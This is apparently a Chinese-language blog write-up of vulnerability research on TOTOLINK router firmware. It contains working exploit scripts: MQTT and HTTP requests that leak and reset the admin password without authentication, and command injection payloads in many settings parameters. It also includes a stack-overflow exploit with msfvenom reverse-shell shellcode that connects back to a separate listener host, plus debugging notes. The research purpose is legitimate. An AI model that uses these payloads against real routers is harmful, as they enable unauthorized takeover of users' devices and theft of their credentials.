123456# ./tcpdump-mipsel -i lo -w ./test.pcaptcpdump-mipsel: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytesConnection closed by foreign host. ./busybox-mipsel nohup ./tcpdump-mipsel -i any -w ./test.pcap
能够看到三次握手四次挥手以及订阅包,推送包等等
基于上面分析,可以利用pwntools直接构造mqtt的数据包
5.1.3 利用pwntools构造mqtt的数据包 这条消息中的下面选中部分就是发送的设置telnet的mqtt publish报文,也就是脚本中的msg2
31 1.735248 127.0.0.1 127.0.0.1 MQTT 175 Publish Message [totolink/router/setting/setTelnetCfg]
12345678910from pwn import *io = remote("192.168.55.1",1883)msg1 = "\x10\x1a\x00\x04\x4d\x51\x54\x54\x04\x02\x00\x3c\x00\x0e\x4d\x51\x54\x54\x5f\x46\x58\x5f\x43\x6c\x69\x65\x6e\x74"msg2 = "\x30\x65\x00\x24\x74\x6f\x74\x6f\x6c\x69\x6e\x6b\x2f\x72\x6f\x75\x74\x65\x72\x2f\x73\x65\x74\x74\x69\x6e\x67\x2f\x73\x65\x74\x54\x65\x6c\x6e\x65\x74\x43\x66\x67\x7b\x0a\x09\x22\x74\x6f\x70\x69\x63\x75\x72\x6c\x22\x3a\x09\x22\x73\x65\x74\x74\x69\x6e\x67\x2f\x73\x65\x74\x54\x65\x6c\x6e\x65\x74\x43\x66\x67\x22\x2c\x0a\x09\x22\x74\x65\x6c\x6e\x65\x74\x5f\x65\x6e\x61\x62\x6c\x65\x64\x22\x3a\x09\x22\x31\x22\x0a\x7d"io.send(msg1) # connectsleep(0.2)io.send(msg2) # setTelnetCfg 1
5.1.4 mqtt.fx使用https://blog.csdn.net/weixin_43940932/article/details/107935303
这是一个调试mqtt协议的工具, 先修改mqtt代理的ip,就是路由器的ip,
subscribe订阅 #是订阅全部
publish,发送报文
六、so库命令执行漏洞挖掘 有命令执行的一般都要有system,execve 或者包装好的函数 CsteSystem,如果有交叉引用的漏洞函数,那么也可能存在命令执行
一共9个文件. 后面有时间感觉可以写个ida脚本自动化来找…
6.1 system.so主要包含下面的函数
12345678910111213141516171819202122232425int module_init(){ cste_hook_register("getPasswordCfg", getPasswordCfg); cste_hook_register("setPasswordCfg", setPasswordCfg); cste_hook_register("NTPSyncWithHost", NTPSyncWithHost); cste_hook_register("getNTPCfg", getNTPCfg); cste_hook_register("setNTPCfg", setNTPCfg); cste_hook_register("getDDNSStatus", getDDNSStatus); cste_hook_register("getDDNSCfg", getDDNSCfg); cste_hook_register("setDDNSCfg", setDDNSCfg); cste_hook_register("getSyslogCfg", getSyslogCfg); cste_hook_register("clearSyslog", clearSyslog); cste_hook_register("setSyslogCfg", setSyslogCfg); cste_hook_register("getMiniUPnPConfig", getMiniUPnPConfig); cste_hook_register("setMiniUPnPConfig", setMiniUPnPConfig); cste_hook_register("LoadDefSettings", LoadDefSettings); cste_hook_register("RebootSystem", RebootSystem); cste_hook_register("FirmwareUpgrade", FirmwareUpgrade); cste_hook_register("getRebootScheCfg", getRebootScheCfg); cste_hook_register("setRebootScheCfg", setRebootScheCfg); cste_hook_register("getTelnetCfg", getTelnetCfg); cste_hook_register("setTelnetCfg", setTelnetCfg); cste_hook_register("SystemSettings", SystemSettings); return 0;}
6.1.1 getPasswordCfg 未授权获取用户名密码mqtt 1883端口攻击totolink/router/setting/getPasswordCfg
123{ "topicurl":"setting/getPasswordCfg"}
会直接返回用户名密码
80端口攻击1234import requestsresponse = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/getPasswordCfg"}')print(response.text)
效果
12345(base) ➜ router python3 password.exp{ "admuser": "admin", "admpass": "123456888"}
GetLanguageCfg也可以,不过不在system.so这里
6.1.2 setPasswordCfg 未授权修改密码totolink/router/setting/setPasswordCfg
12345{ "topicurl":"setting/setPasswordCfg", "admuser":"admin", "admpass":"123456888"}
6.1.3 NTPSyncWithHost 命令执行mqtt 1883端口123456totolink/router/setting/NTPSyncWithHost{ "topicurl":"setting/NTPSyncWithHost", "hostTime":";'$(/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/test123)';"}
80端口1234import requestsresponse = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/NTPSyncWithHost","hostTime":";\'$(/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/test123)\';"}')print(response.text)
主要漏洞原因是获取了hostTime参数后,直接拼接起来然后传给了CsteSystem进行命令执行了
6.1.4 setNTPCfg 命令执行1234567totolink/router/setting/setNTPCfg{ "topicurl":"setting/setNTPCfg", "tz":"UTC+0", "ntpServerIp":";'$(/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/test123456)';", "ntpClientEnabled":"ON"}
apmib_set在哪呢?
搜索一下 grep -rin apmib_set
12345678910111213141516171819(base) ➜ squashfs-root grep -rin apmib_setBinary file ./bin/csteSys matchesBinary file ./bin/AC matchesBinary file ./bin/cs_statistics matchesBinary file ./bin/WTP matchesBinary file ./bin/flash matchesBinary file ./bin/sysconf matchesBinary file ./bin/ntp_inet matchesBinary file ./bin/fwupg matchesBinary file ./bin/AACWTP matchesBinary file ./lib/cste_modules/wan.so matchesBinary file ./lib/cste_modules/wps.so matchesBinary file ./lib/cste_modules/system.so matchesBinary file ./lib/cste_modules/firewall.so matchesBinary file ./lib/cste_modules/wireless.so matchesBinary file ./lib/cste_modules/global.so matchesBinary file ./lib/cste_modules/lan.so matchesBinary file ./lib/libapmib.so matchesBinary file ./lib/libcstelib.so matches
Binary file ./lib/libapmib.so matches 这个名字看着就像,但是这个一个第三方库,就是设置值的,不像是触发漏洞的点
后来进行gdb动态调试的时候发现,system触发点在set_timeZone()函数中,也很奇怪,因为这个函数并没有传入的值.
6.2 upgrade.so主要函数
123456789int module_init(){ cste_save_fwinfo(); cste_hook_register("setUpgradeFW", &setUpgradeFW); cste_hook_register("setUploadSetting", &setUploadSetting); cste_hook_register("CloudACMunualUpdate", CloudACMunualUpdate); cste_hook_register("slaveUpgrade", slaveUpgrade); return 0;}
1234567891011int __fastcall dl(const char *a1){ char v3[512]; // [sp+18h] [-300h] BYREF char v4[256]; // [sp+218h] [-100h] BYREF memset(v3, 0, sizeof(v3)); memset(v4, 0, sizeof(v4)); getStrFromTmp("DlFileUrl", v4); sprintf(v3, "wget -O %s %s", a1, v4); return CsteSystem(v3, 0);}
getStrFromTmp这个是干什么的..
6.2.1 setUpgradeFW 命令执行 注意这里拼接命令和其他有所不同
12345678totolink/router/setting/setUpgradeFW { "topicurl":"setting/setUpgradeFW", "Flags":1, "FileName":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/setUpgradeFW;", "ContentLength":12}
当ContentLength小于0x100000时,执行LABEL_14的逻辑,这里是出现错误删除文件的功能,进行了拼接
6.2.2 setUploadSetting 命令执行123456totolink/router/setting/setUploadSetting{ "topicurl":"setting/setUploadSetting", "FileName":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/setUploadSetting;", "ContentLength":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/setUploadSetting;"}
获取的文件名会进行读取
6.2.3 slaveUpgrade 命令执行123456totolink/router/setting/slaveUpgrade{ "topicurl":"setting/slaveUpgrade", "url":";'$(/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/test123)';"}
6.3 global.so 主要功能
1234567891011121314151617int module_init(){ cste_hook_register("getOpMode", getOpMode); cste_hook_register("setOpMode", setOpMode); cste_hook_register("getGlobalFeatureBuilt", getGlobalFeatureBuilt); cste_hook_register("getSysStatusCfg", getSysStatusCfg); cste_hook_register("getLanguageCfg", getLanguageCfg); cste_hook_register("setLanguageCfg", setLanguageCfg); cste_hook_register("loginAuth", &loginAuth); cste_hook_register("getSaveConfig", &getSaveConfig); cste_hook_register("getLedStatus", getLedStatus); cste_hook_register("getWanAutoDetect", &getWanAutoDetect); cste_hook_register("setEasyWizardCfg", setEasyWizardCfg); cste_hook_register("getEasyWizardCfg", getEasyWizardCfg); cste_hook_register("autoDhcp", autoDhcp); return 0;}
6.3.1 setLanguageCfg 命令执行12345totolink/router/setting/setLanguageCfg{ "topicurl":"setting/setLanguageCfg", "langType":";echo 123 > /tmp/setLanguageCfg;"}
6.3.2 getLanguageCfg 信息泄露 用户名密码泄露
6.4 firewall.so 防火墙的,设置防火墙相应内容. 但是这里面system执行的内容都是写死的,不可控
有没有可能格式化字符串修改固定的值,然后进行命令利用?
6.5 wireless.so6.5.1 setWebWlanIdx 命令执行12345678910111213totolink/router/setting/setWebWlanIdx{ "topicurl":"setting/setWebWlanIdx", "webWlanIdx":";echo 123 > /tmp/setWebWlanIdx;"}import requestsresponse = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/setWebWlanIdx","hostTime":";echo 123 > /tmp/test123;")print(response.text)
6.5.2 updateWifiInfo 命令执行 注意newMd5参数不为0
1234567totolink/router/setting/updateWifiInfo { "topicurl":"setting/updateWifiInfo", "serverIp":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/updateWifiInfo;", "newMd5":123}
6.5.3 meshInfoKick 命令执行123456totolink/router/setting/meshInfoKick { "topicurl":"setting/meshInfoKick", "ipAddr":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/meshInfoKick;"}
有点小问题,还没调试好
6.6 lan.so、wan.so、wps.so没找到
七、溢出漏洞调试7.1 gdbserver调试 被调试的机器下载gdbserver,然后启动 gdbserver 192.168.xx.xx:1234 ./helloworld,或者进行attach进程
123root@VM-24-10-ubuntu:/home/ubuntu/gdb# ./gdbserver-7.10.1-x64 :80 --attach 17031Attached; pid = 17031Listening on port 80
https://github.com/akpotter/embedded-toolkit/tree/master/prebuilt_static_bins/gdbserver
调试机器开启gdb后连接即可 (gdb) target remote 192.168.xx.xx:1234
123456789pwndbg> target remote xxxxxx:80Remote debugging using xxxxxxxx:80Reading /home/ubuntu/gdb/pwn2 from remote target...warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.Reading /home/ubuntu/gdb/pwn2 from remote target...Reading symbols from target:/home/ubuntu/gdb/pwn2...(No debugging symbols found in target:/home/ubuntu/gdb/pwn2)0x0000000000400a40 in _start ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
在这里踩了很多坑,很多时候连上能成功,但是ni执行的时候就出问题了,立马断掉,进程就会挂掉,尝试很多不同的gdbserver,自己也尝试编译了一下,都失败了,马上要放弃的时候,又找了一个版本https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
rapid7编译的,可以正常使用了
7.2 ida动态调试\远程调试 和gdbserver联动
7.2.1附加调试(无符号信息)
这种方式没有反汇编的函数信息等
设置mipsel
选择 Processor type
基本命令 https://blog.csdn.net/m0_52164435/article/details/124871122
7.2.2 运行调试(有符号信息) 先加载二进制文件,main函数处下断点、debugger–process options 设置好ip和端口
被调试那里开启服务,然后debugger-attach to process即可
如果不确定本地的版本和远程的时候一样可以导出二进制文件
123cat ./cs_broker | /tmp/busybox-mipsel base64 # 编码过程# 将base64编码的内容保存到本地文件pcap64cat cs | base64 -d > cs_broker # 解码过程
./gdbserver.mipsle :9999 –attach 1335 ida能够成功连接上,但是ida那边运行后,一发送mqtt包就会蹦.. 偶尔能调试成功,能单步走..比较玄学,因为gdb那边调试没用问题,就先用gdb进行调试了
123456789101112131415# ./gdbserver.mipsle :9999 --attach 1335Attached; pid = 1335Listening on port 9999Remote debugging from host 192.168.55.3Connection closed by foreign host. # ./gdbserver.mipsle :9999 --attach 1335Attached; pid = 1335Listening on port 9999Remote debugging from host 192.168.55.3ptrace: Input/output error.input_interrupt, count = 1 c = 36 ('$')input_interrupt, count = 1 c = 36 ('$')input_interrupt, count = 1 c = 107 ('k')
好像和二进制文件有关?
12345The current debugger backend (gdb) does not provide memory information to IDA.Therefore the memory contents may be invisible by default.Please use the Debugger/Manual memory regions menu item to configure the memory layout.It is possible to define just one big region for the whole memory(IDA will display question marks for missing memory regions in this case).
7.3 filewall.so库中setIpQosRules函数栈溢出调试123456789101112131415int __fastcall setIpQosRules(int a1, int a2, int a3){ ...... char v14[23]; // [sp+18h] [-B8h] BYREF ...... v12 = (const char *)websGetVar(a2, "comment", &byte_9268); ...... strcpy(v14, v12); apmib_set(131385, v14); apmib_set(65848, v14); apmib_update_web(4); system("sysconf firewall"); websSetCfgResponse(a1, a3, "0", "reserv"); return 0;}
comment明显存在溢出,复制给栈上数据v14
7.3.1 利用脚本生成反弹shell payload:msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.55.4 LPORT=9999 -f py -o mips.txt
12345678910111213141516171819202122232425from pwn import *import paho.mqtt.client as mqttbuf = "\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21"buf += "\xfd\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24"buf += "\x0c\x01\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f"buf += "\xfd\xff\x0f\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf"buf += "\x27\x0f\x0e\x3c\x27\x0f\xce\x35\xe4\xff\xae\xaf"buf += "\x37\x02\x0e\x3c\xc0\xa8\xce\x35\xe6\xff\xae\xaf"buf += "\xe2\xff\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01"buf += "\x4a\x10\x02\x24\x0c\x01\x01\x01\xfd\xff\x11\x24"buf += "\x27\x88\x20\x02\xff\xff\xa4\x8f\x21\x28\x20\x02"buf += "\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24"buf += "\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff\x06\x28"buf += "\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf\xaf"buf += "\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"buf += "\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf"buf += "\xfc\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24"buf += "\x0c\x01\x01\x01"test = "a"*218client = mqtt.Client()client.connect("192.168.55.1",1883,60)client.publish('totolink/router/setting/setIpQosRules',payload='{"topicurl":"setting/setIpQosRules","comment":"xx'+test+'\xb4\x43\x41"}'+'bling'+buf)
偏移量具体多少可以在调试的时候查看
7.3.2 调试案例1234567891011121314151617181920212223242526272829303132333435363738394041路由器上# ./gdbserver.mipsle :9999 --attach 14725Attached; pid = 14725Listening on port 9999 调试机器target remote 192.168.55.1:9999 vmmap例如查到firewall.so的基地址是0x778ec000.text:00003414 la $t9, strcpy.text:00003418 jalr $t9 ; strcpy.text:0000341C move $a1, $s1 # src.text:00003420 lw $gp, 0xD0+var_C0($sp).text:00003424 li $a0, 0x20139ida中看到strcpy的地址是00003418, 于是下断点在0x778ec000+0x0003418 = 0x778ef418b *0x778ef418 此外,为了更好的查看覆盖返回地址情况 可以在开头再下一个断点, sw $ra, 0xD0+var_s24($sp) 这个是存放返回地址的指令,放在$ra寄存器里.text:0000329C li $gp, (_fdata+0x7FF0 - .).text:000032A4 addu $gp, $t9.text:000032A8 addiu $sp, -0xF8.text:000032AC sw $ra, 0xD0+var_s24($sp)以及下断点到最后,查看最后劫持返回地址的效果.text:000034C4 jr $ra 然后c继续执行 由于第一次进行strcpy会会进行strcpy动态链接的符号解析等等,而且gdb中不知道为什么finish等不能用,所以先随便发点东西,不触发漏洞,在第二次运行时,再触发漏洞,具体查看strcpy的过程( 非常容易打挂...调试了很多次)
这四行代码是复制语句,将输入复制到栈上,
复制成功后,看到已经把返回地址修改了
0x4143b4就是shellcode的开始
返回处 跳到shellcode 开始执行
获取反弹shell
7.3.3 遇到的坑 刚开始调试的时候,发现怎么也弹不回shell,(在mac上开的nc,后来发现其实链接已经建立了,),调试了好久
其实已经收到了shell,但是没有提示显示….
八、参考https://blingblingxuanxuan.github.io/2021/09/25/analysis-of-totolink-t10/
https://zone.huoxian.cn/d/2676-totolink-cve-2022-25084
https://www.52pojie.cn/thread-1715223-1-1.html
https://github.com/gtrboy/totolink
https://github.com/SeppPenner/mqttfx171-backup/tree/master/Binaries
https://web.archive.org/web/20220504092050/http://www.jensd.de/apps/mqttfx/1.7.1/
https://mqttfx.jensd.de/index.php/download
https://blog.csdn.net/dong__ge/article/details/126322091
https://blog.csdn.net/m0_43406494/article/details/124815879